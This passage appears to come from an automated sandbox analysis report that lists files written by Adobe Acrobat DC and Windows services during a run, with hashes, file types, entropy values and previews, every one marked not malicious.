SHA-512:	7B0AB0DE2C073AC0624A0072B47B871B7E20E8540E72774809D40E32C6DE797E8A15354AB492ECE161BC12AF81E666AEA3B5D3AAE95ADF9A7911C99E122EE2E0
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfd3ba285, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.721700338615434
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
MD5:	4D205A6A9B8F63896332AE48661A6D0F
SHA1:	998A798AC119F67C8EB747F3812276036A44B07B
SHA-256:	1C2230D9DA26F976481392C25638483A730FC826302B8542AB2CC65E81364701
SHA-512:	9FA4709F84298687027438C4F386B9672C4906CB9D6B231EC2592F647378D92AC0869BE5B1B1D127A103D1BB88181717838AA677A278E104AC7774F0B6D6D8D3
Malicious:	false
Preview:	.;..... ...............X\...;...{......................p.D..........{}.5;...}W.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................Z..5;...}.....................5;...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08147797458087598
Encrypted:	false
SSDEEP:	3:vYdYen4ukdDqT/fgsCrZClW/tZCQjkYwZoll+SHY/Xl+/rQLve:vYdznjkoLfgs3GL15AS4M
MD5:	FE4FEFCC23A006E6BA7D2271C4BE5313
SHA1:	703233E074185E7F3A1FB92A7912C2250BEF4165
SHA-256:	CE571319597C25EB6EACCFD8C6F5812170A5D7E5E976F947D7F694C35D2CDDA4
SHA-512:	53E8A2DF665E3A10312EC13208F845FAAE1418D4271F141E36AC937DE18FA802410B9213F895186107959BCAE645B4319797F6D77F6E6F7E3512B356592CF8FF
Malicious:	false
Preview:	[V.......................................;...{..5;...}.......{}..............{}......{}.vv_Q.....{}....................5;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.20578756499495
Encrypted:	false
SSDEEP:	6:iO4q/3i+q2PqLTwi2nKuAl9OmbnIFUtSq/gXZmwsq/jVkwOqLTwi2nKuAl9Ombjd:71i+v8wZHAahFUtw/NV5TwZHAaSJ
MD5:	386941A5D6309B5A1F18821BA24A6884
SHA1:	99A018DBC841E3527C83784980B828928560E180
SHA-256:	C47A9DBAE22B4E58045ADAA8D3E1CA331308C3A5565475EF2273EF15FEA13A1B
SHA-512:	13B4EBCB8D4FBC7CA2E3C072031CC8F15CF25D25CE45326B1206C4D449485505BA9933E3B803EE9488ABDEDD2FA03D816D7BF361AA5A095DB39D89CE32EAC05B
Malicious:	false
Preview:	2025/01/10-21:59:53.063 4dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:53.065 4dc Recovering log #3.2025/01/10-21:59:53.066 4dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.20578756499495
Encrypted:	false
SSDEEP:	6:iO4q/3i+q2PqLTwi2nKuAl9OmbnIFUtSq/gXZmwsq/jVkwOqLTwi2nKuAl9Ombjd:71i+v8wZHAahFUtw/NV5TwZHAaSJ
MD5:	386941A5D6309B5A1F18821BA24A6884
SHA1:	99A018DBC841E3527C83784980B828928560E180
SHA-256:	C47A9DBAE22B4E58045ADAA8D3E1CA331308C3A5565475EF2273EF15FEA13A1B
SHA-512:	13B4EBCB8D4FBC7CA2E3C072031CC8F15CF25D25CE45326B1206C4D449485505BA9933E3B803EE9488ABDEDD2FA03D816D7BF361AA5A095DB39D89CE32EAC05B
Malicious:	false
Preview:	2025/01/10-21:59:53.063 4dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:53.065 4dc Recovering log #3.2025/01/10-21:59:53.066 4dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.194551537329499
Encrypted:	false
SSDEEP:	6:iO4q/6H39+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSq/6YJZmwsq/6dRF39VkwOqLTn:7oH34v8wZHAa8uFUtuYJ/0dj3D5TwZHA
MD5:	1160BC7FC18FF70A3EFD8AEF39B4C9F0
SHA1:	E795DEBED079AF8DEBA23D2CF7AAD1E7D2123DFE
SHA-256:	0DBF9B9E4BFE17AED7C6662A48804FDCF4C29D696ED6A307980454F81C5C27D9
SHA-512:	DE3D6D4D25545B02E1CEDE0370BF18AC1F07CD542BDD7A5DEF68DC1A5F8AC5CCA2E497888931A8CB1E02BD319296B81309449C65E0D42C1F1BA94A938143905C
Malicious:	false
Preview:	2025/01/10-21:59:53.154 1368 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:53.155 1368 Recovering log #3.2025/01/10-21:59:53.156 1368 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.194551537329499
Encrypted:	false
SSDEEP:	6:iO4q/6H39+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSq/6YJZmwsq/6dRF39VkwOqLTn:7oH34v8wZHAa8uFUtuYJ/0dj3D5TwZHA
MD5:	1160BC7FC18FF70A3EFD8AEF39B4C9F0
SHA1:	E795DEBED079AF8DEBA23D2CF7AAD1E7D2123DFE
SHA-256:	0DBF9B9E4BFE17AED7C6662A48804FDCF4C29D696ED6A307980454F81C5C27D9
SHA-512:	DE3D6D4D25545B02E1CEDE0370BF18AC1F07CD542BDD7A5DEF68DC1A5F8AC5CCA2E497888931A8CB1E02BD319296B81309449C65E0D42C1F1BA94A938143905C
Malicious:	false
Preview:	2025/01/10-21:59:53.154 1368 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:53.155 1368 Recovering log #3.2025/01/10-21:59:53.156 1368 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVhsBdOg2Hg8caq3QYiub5P7E4T3y:Y2sRdsBdMHi3QYhbt7nby
MD5:	4E13C725E55799DCAB628DBEBA7B7322
SHA1:	0E28B9FD395F0D3C6A0A7F605F9516035A36B509
SHA-256:	DD6ED61C5626C1153A13F9DA737757A821E505DDDE4964671FED8F821B56EF39
SHA-512:	E28D4F7E039E3CC6A82C30BD911CCE44BAA174DE55C2E03F98027CAE873A65965BF6173848305AEA57CF983B8C5F5DEEEDB72711408FFDCC31B9948873E49AA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124404817554","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131769},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dc9e206e-07b0-4447-85b7-e2477cfe3835.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVhsBdOg2Hg8caq3QYiub5P7E4T3y:Y2sRdsBdMHi3QYhbt7nby
MD5:	4E13C725E55799DCAB628DBEBA7B7322
SHA1:	0E28B9FD395F0D3C6A0A7F605F9516035A36B509
SHA-256:	DD6ED61C5626C1153A13F9DA737757A821E505DDDE4964671FED8F821B56EF39
SHA-512:	E28D4F7E039E3CC6A82C30BD911CCE44BAA174DE55C2E03F98027CAE873A65965BF6173848305AEA57CF983B8C5F5DEEEDB72711408FFDCC31B9948873E49AA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124404817554","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131769},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.224094649300055
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozmx7E:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzmO
MD5:	293E772E9AD4F66D9BE55533C8B8AF52
SHA1:	828A87A42C998FC77F6368DD3D234CED9BB10D04
SHA-256:	93D256BBEE64211EE14C928048D39D1B73D7120C2075A3F6E9790C44347C4228
SHA-512:	0B6FF1BE232D7FB2F0E16D1AA19B9EC80748DBB8AA18114CB688A446FE7D47A0A0DB49D3CB0B54C9F904AEE18759839051BFAAD41FB7B5E554515309F9287296
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.215263283548851
Encrypted:	false
SSDEEP:	6:iO4q/T39+q2PqLTwi2nKuAl9OmbzNMxIFUtSq/XJZmwsq/UuUH39VkwOqLTwi2nv:7x34v8wZHAa8jFUtjJ/Cd3D5TwZHAa8E
MD5:	353EF8C573BC8B8A696014CCA0150963
SHA1:	6C71C0252A7E103D6E0019D09BC5FF0C14D04DF2
SHA-256:	C68385559944245CCA5D03E20B146F3443D06FE483E11FEE4986C5DF48FD4645
SHA-512:	B56A2A77CA1439DF58D23A9AA6D457CD7CA7D26BB248820F58C7030863F05B77202CFED465F170B4913F3100B0B3AE6B4122D3F119B479D535901FFCCC218A81
Malicious:	false
Preview:	2025/01/10-21:59:53.236 1368 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:53.243 1368 Recovering log #3.2025/01/10-21:59:53.246 1368 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.215263283548851
Encrypted:	false
SSDEEP:	6:iO4q/T39+q2PqLTwi2nKuAl9OmbzNMxIFUtSq/XJZmwsq/UuUH39VkwOqLTwi2nv:7x34v8wZHAa8jFUtjJ/Cd3D5TwZHAa8E
MD5:	353EF8C573BC8B8A696014CCA0150963
SHA1:	6C71C0252A7E103D6E0019D09BC5FF0C14D04DF2
SHA-256:	C68385559944245CCA5D03E20B146F3443D06FE483E11FEE4986C5DF48FD4645
SHA-512:	B56A2A77CA1439DF58D23A9AA6D457CD7CA7D26BB248820F58C7030863F05B77202CFED465F170B4913F3100B0B3AE6B4122D3F119B479D535901FFCCC218A81
Malicious:	false
Preview:	2025/01/10-21:59:53.236 1368 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:53.243 1368 Recovering log #3.2025/01/10-21:59:53.246 1368 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.437988219426471
Encrypted:	false
SSDEEP:	384:SeYci5GViBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:/ZurVgazUpUTTGt
MD5:	720B1360F24F3DEDC65C734C2F4268CC
SHA1:	15D9E9E3B0ECF8B6B96D966217BEF9D9281D8E2A
SHA-256:	4E703F063ADA8D4690824D635C33D1C9ED3C33F2A1DA2BE54B334C041C367CC7
SHA-512:	6D8468EDEE4687795F19B79721C362FE8544B1229B5322FC4D974E4ED33BCFC53F4102478AEEDAAA6769391B442F895165278C970F08994033DDAB99C5305EEC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215541711536023
Encrypted:	false
SSDEEP:	24:7+tdw6wK6qLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzM:7M6W6qPmFTIF3XmHjBoGGR+jMz+LhR
MD5:	1B1DE3178905E16EE479B4C9BBCDBB56
SHA1:	EC9DE63C132CB6B10B4741023068ADFD2B83816B
SHA-256:	DD5A0B5F79C082353071586F279102C9CAB792EA2DFE51DFC996C6937A02DEDF
SHA-512:	CB52D39B7E3881AD6D90CB7BE826162E1958AC9762BB7FAA90A1A0018F6BCD5A629C7DC1137F55C9B86A9448D001BD6C57E2153A7E5455B5063747713138AFEC
Malicious:	false
Preview:	.... .c.....w..5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklmp4tfllXlE/HT8kzt/hlltNNX8RolJuRdxLlGB9lQRYwpDdt:kK/p4eT86t/RNMa8RdWBwRd
MD5:	484A22F77C5ACBA63BFE310402302F98
SHA1:	575B1D1561A9D276BF602FF006BE1EF7747C3672
SHA-256:	90D003CF0E1B376839A4889FAE69094EB88546CECD41A8397ED1100A35356591
SHA-512:	245763E5420D29ACF59BA95C618391ABBFCB601C6FD30B7A18D2AF0B38D89CAEA37BDC069B49009FDE77D1EFF624E92EB08C650067D2BDFC4A3CF490EDEBD644
Malicious:	false
Preview:	p...... .........l...c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKTQL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:bQiDImsLNkPlE99SNxAhUe/3
MD5:	94B1CE1424F55D4B8232DACFD1964933
SHA1:	CD742FAC122B3DDAD7277823A0EF5DF4F257FCFC
SHA-256:	0B7FBEC1753C1B2A53066190E38C6D8EC0AF7B64C9F860A8AC451BBF40D74206
SHA-512:	3F8F9F49D25E36526B449A442A2E489C6D2BE87F3577A4BC523CC9CB70134DF3A8C628B1A3DA4673A6DF4853D13D7219885C38EE527D5BBE72EF0690D2417FBA
Malicious:	false
Preview:	p...... ........:S...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3632

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
